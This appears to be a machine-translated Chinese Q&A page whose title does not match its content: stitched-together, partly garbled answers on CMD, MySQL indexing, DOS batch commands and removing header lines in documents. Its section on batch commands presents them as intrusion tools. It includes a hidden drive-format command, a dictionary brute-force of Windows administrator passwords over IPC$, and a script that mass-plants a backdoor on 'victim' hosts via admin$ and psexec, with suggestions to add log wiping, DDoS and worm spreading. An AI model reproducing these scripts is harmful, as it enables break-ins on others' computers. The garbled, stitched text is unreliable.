如何自动查找删除重复的文字,如何自动整理语法,excel查找重复文字

文章 3年前 (2021) admin
0

Q1:怎么使用命令提示符。

CMD是命令提示符。CMD是命令的缩写。它是基于OS/2和Win的“MS-DOS模式”,包括Windows 2000和XP、Vista和Server 2003。Windows XP中文版的命令提示符进一步提高了与DOS下操作命令的兼容性,用户可以在命令提示符下直接输入中文调用文件。在9x系统下,可以通过enter命令打开命令行,而在nt系统下,可以通过进入CMD打开。windows2000之后,它被CMD取代,您可以使用CMD查询系统信息或。

Q2:在Mysql中,把多个值以字符串组合的方式保存到一列和把各个值单独保存到一条记录的综合效率分析。

索引的目的是提高查询效率,可以和字典相比。如果要查“mysql”这个词,肯定需要先定位M字母,然后从下往上找Y字母,再找sql剩下的部分。如果没有索引,你可能需要把所有的单词都读一遍,才能找到你想要的。1.索引的优点:假设您有三个未索引的表t1、t2和t3,每个表分别包含数据列i1、i2和i3,每个表包含1000个数据行,序号从1到1000。查找一些具有匹配值的数据行组合的查询可以如下:从t1、t2、t3中选择t1.i1、t2.i2、t3.i3,其中t1.i1=t2.i2,T2 . i1=T3 . i3;这个查询的结果应该是1000行,每个数据行包含三个相等的值。如果在没有索引的情况下处理查询,那么如果我们不扫描所有的表,我们就无法知道哪些数据行包含哪些值。因此,您必须尝试所有组合来查找满足WHERE条件的记录。可能的组合数量是1000 x 1000 x 1000(10亿!),这是匹配记录数的一百万倍。这浪费了大量的工作。此示例显示,如果不使用索引,随着表的记录不断增长,处理这些表的联接所花费的时间会增加得更快,从而导致性能下降。我们可以通过索引这些数据表来显著提高速度,因为索引允许以以下方式处理查询:1。选择表t1中的第一行,并检查该数据行的值。2.使用表t2上的索引直接定位与t1值匹配的数据行。同样,使用表t3上的索引,可以直接找到与表t2的值匹配的数据行。3.处理表t1的下一行,并重复前面的过程。执行该操作,直到检查完t1中的所有数据线。在这种情况下,我们仍然对表t1执行了完整的扫描,但是我们可以对t2和t3执行索引搜索,以直接从这些表中获取数据行。理论上,以这种方式运行上面的查询会快一百万倍。当然,这个例子是人为建立得出的结论。然而,它解决的问题是现实的。向没有索引的表中添加索引通常会带来惊人的性能提升。-2.索引的成本首先,索引加快了检索速度,但减慢了插入和删除速度,同时减慢了更新索引数据列中的值的速度。也就是说,索引降低了大多数写操作的速度。出现这种现象的原因是在写入记录时,不仅需要写入数据行,还需要更改所有索引。数据表的索引越多,需要进行的修改就越多,平均性能的下降也就越大。在本文的“高效加载数据”一节中,我们将了解更多关于这些现象的信息,并了解如何处理它们。其次,索引会消耗磁盘空间,多个索引会相应地消耗更多的磁盘空间。这可能会导致更快地达到数据表的大小限制:对于MyISAM表,频繁的索引可能会导致索引文件比数据文件更快地达到最大限制。对于BDB表,它将数据和索引值存储在同一个文件中,添加索引会使该表更快达到最大文件限制。InnoDB的共享表空间中分配的所有表都竞争相同的公共空间池,因此添加索引将更快地消耗表空间中的存储。但是,与MyISAM和BDB表使用的文件不同,InnoDB共享表空间不受操作系统文件大小的限制,因为我们可以将其配置为使用多个文件。只要有额外的磁盘空间,就可以通过添加新组件来扩展表空间。使用独立表空间的InnoDB表受到与BDB表相同的约束,因为它们的数据和索引值存储在一个文件中。这些元素的实际含义是:如果不需要使用特殊的索引来帮助查询更快地执行,就不要创建索引。3.选择索引假设您已经知道索引的语法,但是语法不会告诉您应该如何索引数据表。这要求我们考虑如何使用数据表。

本节教您如何识别索引的候选数据列,以及如何最好地构建索引:用于搜索、排序和分组的索引数据列不仅用于输出显示。换句话说,索引的最佳候选数据列是出现在WHERE子句、join子句、ORDER BY子句或GROUP BY子句中的数据列。只有出现在SELECT关键字后的输出数据列列表中的数据列不是很好的候选列:SELECT col _ a-不是tbl1左侧联接tbl1上的候选列TBL 2 . col _ b=TBL 2 . col _ c-候选列WHERE col _ d=expr-替代列当然,显示的数据列可能与WHERE子句中使用的相同。我们的观点是,输出列表中的数据列不是很好的索引候选列。像Join子句或WHERE子句中的col1=col2这样的表达式中的数据列是索引的特别好的候选列。前面显示的查询中的Col_b和col_c就是这样的例子。如果MySQL可以使用联接列来优化查询,那么通过减少对整个表的扫描,将会大大减少潜在的表行组合。考虑数据列的基数。数据列中包含的不同值的数量。例如,如果数据列包含值1、3、7、4、7和3,则其基数为4。当索引的基数大于数据表中的行数时(也就是说,列包含许多不同的值,几乎没有重复的值),它的效果最好。如果数据列包含许多不同的年龄,索引将快速区分数据行。如果用一个数据列来记录性别(只有“m”和“f”值),那么索引就没什么用了。如果值出现的概率几乎相等,则无论您搜索哪个值,您都可能获得一半的数据行。在这些情况下,最好根本不要使用索引,因为当查询优化器发现某个值出现在表的高百分比数据行中时,它通常会忽略索引并扫描整个表。通常的百分比线是“30%”。现在查询优化器更复杂了,还要考虑其他因素,所以这个百分比并不是MySQL决定使用扫描还是索引的唯一因素。指数比较

短的值。尽可能地使用较小的数据类型。例如,如果MEDIUMINT足够保存你需要存储的值,就不要使用BIGINT数据列。如果你的值不会长于25个字符,就不要使用CHAR(100)。较小的值通过几个方面改善了索引的处理速度:· 较短的值可以更快地进行比较,因此索引的查找速度更快了。· 较小的值导致较小的索引,需要更少的磁盘I/O。· 使用较短的键值的时候,键缓存中的索引块(block)可以保存更多的键值。MySQL可以在内存中一次保持更多的键,在不需要从磁盘读取额外的索引块的情况下,提高键值定位的可能性。对于InnoDB和BDB等使用聚簇索引(clustered index)的存储引擎来说,保持主键(primary key)短小的优势更突出。聚簇索引中数据行和主键值存储在一起(聚簇在一起)。其它的索引都是次级索引;它们存储主键值和次级索引值。次级索引屈从主键值,它们被用于定位数据行。这暗示主键值都被复制到每个次级索引中,因此如果主键值很长,每个次级索引就需要更多的额外空间。索引字符串值的前缀(prefixe)。如果你需要索引一个字符串数据列,那么最好在任何适当的情况下都应该指定前缀长度。例如,如果有CHAR(200)数据列,如果前面10个或20个字符都不同,就不要索引整个数据列。索引前面10个或20个字符会节省大量的空间,并且可能使你的查询速度更快。通过索引较短的值,你可以获得那些与比较速度和磁盘I/O节省相关的好处。当然你也需要利用常识。仅仅索引某个数据列的第一个字符串可能用处不大,因为如果这样操作,那么在索引中不会有太多的唯一值。你可以索引CHAR、VARCHAR、BINARY、VARBINARY、BLOB和TEXT数据列的前缀。使用最左(leftmost)前缀。建立多列复合索引的时候,你实际上建立了MySQL可以使用的多个索引。复合索引可以作为多个索引使用,因为索引中最左边的列集合都可以用于匹配数据行。这种列集合被称为”最左前缀”(它与索引某个列的前缀不同,那种索引把某个列的前面几个字符作为索引值)。假设你在表的state、city和zip数据列上建立了复合索引。索引中的数据行按照state/city/zip次序排列,因此它们也会自动地按照state/city和state次序排列。这意味着,即使你在查询中只指定了state值,或者指定state和city值,MySQL也可以使用这个索引。因此,这个索引可以被用于搜索如下所示的数据列组合:state, city, zip state, city state MySQL不能利用这个索引来搜索没有包含在最左前缀的内容。例如,如果你按照city或zip来搜索,就不会使用到这个索引。如果你搜索给定的state和具体的ZIP代码(索引的1和3列),该索引也是不能用于这种组合值的,尽管MySQL可以利用索引来查找匹配的state从而缩小搜索的范围。不要过多地索引。不要认为”索引越多,性能越高”,不要对每个数据列都进行索引。我们在前面提到过,每个额外的索引都会花费更多的磁盘空间,并降低写操作的性能。当你修改表的内容的时候,索引就必须被更新,甚至可能重新整理。如果你的索引很少使用或永不使用,你就没有必要减小表的修改操作的速度。此外,为检索操作生成执行计划的时候,MySQL会考虑索引。建立额外的索引会给查询优化器增加更多的工作量。如果索引太多,有可能(未必)出现MySQL选择最优索引失败的情况。维护自己必须的索引可以帮助查询优化器来避免这类错误。如果你考虑给已经索引过的表添加索引,那么就要考虑你将增加的索引是否是已有的多列索引的最左前缀。如果是这样的,不用增加索引,因为已经有了(例如,如果你在state、city和zip上建立了索引,那么没有必要再增加state的索引)。让索引类型与你所执行的比较的类型相匹配。在你建立索引的时候,大多数存储引擎会选择它们将使用的索引实现。例如,InnoDB通常使用B树索引。MySQL也使用B树索引,它只在三维数据类型上使用R树索引。但是,MEMORY存储引擎支持散列索引和B树索引,并允许你选择使用哪种索引。为了选择索引类型,需要考虑在索引数据列上将执行的比较操作类型:· 对于散列(hash)索引,会在每个数据列值上应用散列函数。生成的结果散列值存储在索引中,并用于执行查询。散列函数实现的算法类似于为不同的输入值生成不同的散列值。使用散列值的好处是散列值比原始值的比较效率更高。散列索引用于执行=或操作等精确匹配的时候速度非常快。但是对于查询一个值的范围效果就非常差了:id < 30 weight BETWEEN 100 AND 150 · B树索引可以用于高效率地执行精确的或者基于范围(使用操作<、=、>、、!=和BETWEEN)的比较。B树索引也可以用于LIKE模式匹配,前提是该模式以文字串而不是通配符开头。如果你使用的MEMORY数据表只进行精确值查询,散列索引是很好的选择。这是MEMORY表使用的默认的索引类型,因此你不需要特意指定。如果你希望在MEMORY表上执行基于范围的比较,应该使用B树索引。为了指定这种索引类型,需要给索引定义添加USING BTREE。例如:CREATE TABLE lookup ( id INT NOT NULL, name CHAR(20), PRIMARY KEY USING BTREE (id) ) ENGINE = MEMORY; 如果你希望执行的语句的类型允许,单个MEMORY表可以同时拥有散列索引和B树索引,即使在同一个数据列上。有些类型的比较不能使用索引。如果你只是通过把值传递到函数(例如STRCMP())中来执行比较操作,那么对它进行索引就没有价值。服务器必须计算出每个数据行的函数值,它会排除数据列上索引的使用。使用慢查询(slow-query)日志来识别执行情况较差的查询。这个日志可以帮助你找出从索引中受益的查询。你可以直接查看日志(它是文本文件),或者使用mysqlmpslow工具来统计它的内容。如果某个给定的查询多次出现在”慢查询”日志中,这就是一个线索,某个查询可能没有优化编写。你可以重新编写它,使它运行得更快。你要记住,在评估”慢查询”日志的时候,”慢”是根据实际时间测定的,在负载较大的服务器上”慢查询”日志中出现的查询会多一些。*4.建索引的几大原则*4.1.最左前缀匹配原则,非常重要的原则,mysql会一直向右匹配直到遇到范围查询(>、 3 and d = 4 如果建立(a,b,c,d)顺序的索引,d是用不到索引的,如果建立(a,b,d,c)的索引则都可以用到,a,b,d的顺序可以任意调整。4.2.=和in可以乱序,比如a = 1 and b = 2 and c = 3 建立(a,b,c)索引可以任意顺序,mysql的查询优化器会帮你优化成索引可以识别的形式4.3.尽量选择区分度高的列作为索引,区分度的公式是count(distinct col)/count(*),表示字段不重复的比例,比例越大我们扫描的记录数越少,唯一键的区分度是1,而一些状态、性别字段可能在大数据面前区分度就是0,那可能有人会问,这个比例有什么经验值吗?使用场景不同,这个值也很难确定,一般需要join的字段我们都要求是0.1以上,即平均1条扫描10条记录4.4.索引列不能参与计算,保持列“干净”,比如from_unixtime(create_time) = "2014-05-29"就不能使用到索引,原因很简单,b+树中存的都是数据表中的字段值,但进行检索时,需要把所有元素都应用函数才能比较,显然成本太大。所以语句应该写成create_time = unix_timestamp("2014-05-29");4.5.尽量的扩展索引,不要新建索引。比如表中已经有a的索引,现在要加(a,b)的索引,那么只需要修改原来的索引即可。

Q3:dos 命令

1.echo命令打开echo或关闭请求echo功能,或显示一条消息。没有任何参数,echo命令将显示当前的echo设置。语法echo [{on | off}] [message]示例:echo off/echo hello world在实际应用中,我们将该命令与重定向符号(也称为管道符号,通常使用)相结合,实现将一些命令输入到特定格式的文件中。这将反映在未来的例子中。2.@命令意味着@后面的命令不会显示。在入侵过程中(比如用批处理格式化敌人硬盘),对方自然不可能看到你使用的命令。示例:@ echooff @ echonow正在初始化程序,请稍候.@ format x :/q/u/autoset(format这个命令不能用参数/y,但可喜的是微软给我们留了一个autoset参数,效果和/y一样)3。3。Goto命令指定跳转到标签。找到标签后,程序将从下一行开始处理命令。语法:goto label (label是一个参数,指定批处理程序中要转向的行。)示例:if { %1 }=={ } goto onparms if { %2 }=={ } goto onparms(如果不理解这里的if、% 1和% 2,先跳过,后面会有详细解释。)@ rem如果为null,请检查参数显示使用情况: no perime echo使用情况: monitor。bat服务器IP端口号gotoend标签可以随意命名,但最好是一个有意义的字母,在字母前加一个:表示这个字母是一个标签,goto命令就是基于此:找到下一步跳到那里。最好有一些说明,这样别人看起来会明白你的意图。4.Rem命令comment命令,相当于C语言中的/*-*/不会被执行,只是作为注释,方便以后别人阅读和修改自己。rem消息示例:@ rem这是描述。5 .暂停命令当您运行暂停命令时,将显示以下消息:按任意键继续.示例:@ echo off:begin a: *。* d: \ back echo请将新磁盘放入驱动程序a暂停转到开始在本例中,驱动器a中磁盘上的所有文件都被复制到d:\back。当提示您将另一张磁盘放入驱动器A时,暂停命令将暂停程序,以便您可以更换磁盘,然后按任意键继续处理。6.6。Call命令从一个批处理程序调用另一个批处理程序,而不终止父批处理程序。调用命令接受用作调用目标的标签。如果在脚本或批处理文件之外使用Call,它将无法在命令行上工作。语法调用[[驱动器:][路径]文件名[批处理参数]] [:标签[参数]]参数[驱动器: }[路径]文件名指定要调用的批处理程序的位置和名称。文件名参数必须有. bat或。cmd扩展。7.start命令调用外部程序,所有DOS命令和命令行程序都可以通过start命令调用。常见入侵参数:在min开始时最小化窗口。在单独的空间中启动16位Windows程序。高启动高优先级类别的应用程序。实时在实时优先级类别中启动应用程序。等待启动应用程序并等待它结束。参数。当为传递给命令/程序的参数执行的应用程序是32位GUI应用程序时,CMD.EXE返回命令提示符,而不等待应用程序终止。如果在命令脚本中执行,新的行为将不会发生。8.choice命令choice使用这个命令让用户输入一个字符,从而运行不同的命令。使用时,应添加参数/c:在c:之后,可以输入的字符应该写出来,中间不能有空格。
它的返回代码是1234 …比如: choice/c: DME defrag,mem,end会显示defrag,mem,end[D,M,E]?sample:sample . bat的内容如下: @ echo off choice/c : DME defrag,mem,End if errorlevel 3 goto defrag(应该先判断值最高的错误码)如果出错level 2 goto mem如果出错level 1 goto End : Defrag c : \ dos \ Defrag goto End : mem goto End : End echo再见此文件运行后,会显示Defrag,mem,end[D,M,E用户可以选择d m e,然后if语句进行判断。d表示执行标记为defrag的程序段,m表示执行标记为mem的程序段,e表示执行标记为end的程序段。在每个程序段结束时,程序会跳转到带有goto end的结束标签,然后程序会显示good bye,文件结束。9.if命令if表示将判断是否满足指定条件,然后决定执行不同的命令。有三种格式: 1。如果" parameter "==" string ",如果要执行的命令的参数等于指定的字符串,则条件成立,命令运行;否则,下一句就跑了。(注意是两个等号)比如if“% 1”==“a”格式。 a: if {%1}=={} goto noparmsif {%2}=={} goto noparms2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 3、if errorlevel /if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR /L %variable IN (start,step,end) DO command [command-para该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。sample2:利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。代码雏形:--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection …………OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

Q4:XP SP3下cmd中help命令怎么用?

主要是你的系统里面没有help.exe,我给你传一个 ,Vista中也是一样的

Q5:怎样去除pdf文稿里的横线

Office三兄弟中,Excel、word、PPT是办公室常用的。无论是编辑文档还是修改别人的文档,几乎每个人都会用到word文档。文档中有许多页眉和页脚。在页眉插入信息时,下面经常会出现一行,很多朋友认为不能删除。如果您认为这一行会影响文档的内容,您可以选择两种方法来删除标题中的水平线。我先和大家分享一下我工作总结的第一个小方法。如果不喜欢,请去掉。我们一起来看看操作步骤。第一种方法(1)编辑整理好文档中的内容后,点击【插入】功能,在耳机菜单中选择【表头】在这里点击,然后我们可以在这里自定义选择【表头样式】。(2)完成后,相应的页面文本将出现在文档的相应位置。我们可以添加页数,或者我们想要的标题,或者时间和日期。(3)然后,找到菜单栏顶部的【开始】选项,然后点击小图中箭头指示的按钮,去掉表头横线。有同学问,网上下载的数据文件是不是PDF格式,不能用word打开。PDF文件可以不编辑吗?答案肯定是可以编辑的,所有的电子文件都可以编辑。只有PDF文件的保密性更好,就像使用word一样,它的载体是PDF编辑器,安装快速PDF编辑器就可以编辑PDF文件,基本和word一样。也可以问我在编辑PDF文件的时候有什么不懂的地方。让我们来看第二种删除标题水平线的方法。表头横线是系统默认的格式,常规是没有办法删除的。除了上面的第一种方法,还有一种方法可以通过取消边框来删除标题水平线。(1)打开文档进入表头编辑区,使用【Ctrl A】或选择空白字符,在菜单栏点击【开始】。(2)点击段落组中边框的下拉按钮,在该菜单列中选择【无边框】按钮,去掉表头的横线。这两种方法都可以说是非常简单和成品。你们都学会了吗?其实编辑PDF文件的问题也可以转换成我们经常使用的word格式。

Q6:如何用批处理命令运行组合键

批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为 BAT 或者 CMD。这些命令统称批处理命令。注意:可以在键盘上按下 Ctrl+C 组合键来强行终止一个批处理的执行过程。批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和 ::2、ECHO 和 @3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和 :9、FIND10、START11、assoc 和 ftype12、pushd 和 popd13、CALL14、shift15、IF16、setlocal 与 变量延迟介绍命令1、REM 和 ::REM为注释命令,一般用来给程序加上注释,该命令后的内容不被执行,但能回显。其次, :: 也可以起到rem 的注释作用,而且更简洁有效。但有两点需要注意:第一, 任何以冒号 : 开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。有效标号:冒号后紧跟一个以字母数字开头的字符串,goto 语句可以识别。无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto 无法识别的标号,可以起到注释作用,所以 :: 常被用作注释符号,其实 :+ 也可起注释作用。第二, 与rem 不同的是,:: 后的字符行在执行时不会回显,不论是否用 echo on 打开命令行回显状态,因为命令解释器不认为它是一个有效的命令行,就此点来看,rem 在某些场合下将比 :: 更为适用。另外, rem 可以用于 config.sys 文件中。2、ECHO 和 @打开回显或关闭回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。@字符放在命令前将关闭该命令回显,无论此时回显是否处于打开状态。语法:echo [{ on|off }] [message]echo. #此用法将显示一空行,相当于回车,非常有用。执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行 echo on 命令。执行 @echo off 不但关闭以后命令的回显,连 echo off 命令本身也不显示了。通常以 @echo off 作为批处理程序的首行。一般用ECHO MESSAGE来显示一个特定的消息。注意:ehco 指令不改变 errorlevel 的值。例:@Echo offEcho helloPause运行显示:hello3、PAUSEPAUSE 是暂停的意思,在这里就是停止系统命令的执行并显示下面的内容。例:PAUSE运行显示:请按任意键继续. . .要显示其他提示语,可以这样用:Echo 其他提示语 & pause > nul4、errorlevel程序返回码echo %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为 0,一般命令执行出错会设 errorlevel 为 1。5、title设置cmd窗口的标题title 新标题6、COLOR设置默认的控制台前景和背景颜色。COLOR [colorvalue]colorvalue 指定控制台输出的颜色属性颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:0 = 黑色 8 = 灰色1 = 蓝色 9 = 淡蓝色2 = 绿色 A = 淡绿色3 = 湖蓝色 B = 淡浅绿色4 = 红色 C = 淡红色5 = 紫色 D = 淡紫色6 = 黄色 E = 淡黄色7 = 白色 F = 亮白色如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。这个值来自当前控制台窗口、/T 开关或 aultColor 注册表值。如果用相同的前景和背景颜色来执行 COLOR 命令,COLOR 命令会将 ERRORLEVEL 设置为 1。例如: "COLOR fc" 在亮白色上产生亮红色。7、mode 配置系统设备配置系统设备。串行口: MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s][to=on|off] [xon=on|off] [odsr=on|off][octs=on|off] [dtr=on|off|hs][rts=on|off|hs|tg] [idsr=on|off]设备状态: MODE [device] [/STATUS]打印重定向: MODE LPTn[:]=COMm[:]选定代码页: MODE CON[:] CP SELECT=yyy代码页状态: MODE CON[:] CP [/STATUS]显示模式: MODE CON[:] [COLS=c] [LINES=n]击键率: MODE CON[:] [RATE=r DELAY=d]例:mode con cols=113 lines=15 & color 9f此命令设置DOS窗口大小:15行,113列8、GOTO 和 :GOTO 跳转的意思。在批处理中允许以 :XXX 来构建一个标签,然后用 GOTO XXX 跳转到标签 :XXX 处,然后执行标签下面的命令。例:if "%1"=="" goto noparmsif "%2"=="" goto noparms标签的名字可以随便起,前加个冒号用来表示这个字符串是标签,goto 命令就是根据这个冒号 : 来寻找下一步跳到哪里执行。例:@echo off:startset /a var+=1echo %var%if %var% leq 3 GOTO startpause运行显示:12349、find在文件中搜索字符串。FIND [/V] [/C] [/N] [/i] [/OFF[LINE]] "string" [[drive:][path]filename[ ...]]/V 显示所有未包含指定字符串的行。/C 仅显示包含字符串的行数。/N 显示行号。/I 搜索字符串时忽略大小写。/OFF[LINE] 不要跳过具有脱机属性集的文件。"string" 指定要搜索的文字串,[drive:][path]filename指定要搜索的文件。如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。Find常和type命令结合使用Type [drive:][path]filename | find "string" [>tmpfile] #挑选包含string的行Type [drive:][path]filename | find /v "string" #剔除文件中包含string的行Type [drive:][path]filename | find /c #显示文件行数 以上用法将去除find命令自带的提示语(文件名提示)例:@echo offecho 111 >test.txtecho 222 >>test.txttype test.txt|find "111" del test.txtpause运行显示如下:111请按任意键继续. . .10、start 命令批处理中调用外部程序的命令(该外部程序在新窗口中运行,批处理程序继续往下执行,不理会外部程序的运行状况),如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令。例:start explorer d:\调用图形界面打开D盘11、assoc 和 ftype文件关联assoc 设置"文件扩展名"关联,关联到"文件类型"ftype 设置"文件类型"关联,关联到"执行程序和参数"当你双击一个.txt文件时,windows并不是根据.txt直接判断用 notepad.exe 打开而是先判断.txt属于 txtfile "文件类型"再调用 txtfile 关联的命令行 txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1可以在"文件夹选项"→"文件类型"里修改这2种关联assoc #显示所有"文件扩展名"关联assoc .txt #显示.txt代表的"文件类型",结果显示 .txt=txtfileassoc .doc #显示.doc代表的"文件类型",结果显示 .doc=Word.Document.8assoc .exe #显示.exe代表的"文件类型",结果显示 .exe=exefileftype #显示所有"文件类型"关联ftype exefile #显示exefile类型关联的命令行,结果显示 exefile="%1" %* assoc .txt=Word.Document.8设置.txt为word类型的文档,可以看到.txt文件的图标都变了assoc .txt=txtfile恢复.txt的正确关联ftype exefile="%1" %*恢复 exefile 的正确关联如果该关联已经被破坏,可以运行 command.com ,再输入这条命令12、pushd 和 popd切换当前目录@echo offc: & cd\ & md mp3 #在 C:\ 建立 mp3 文件夹md d:\mp4 #在 D:\ 建立 mp4 文件夹cd /d 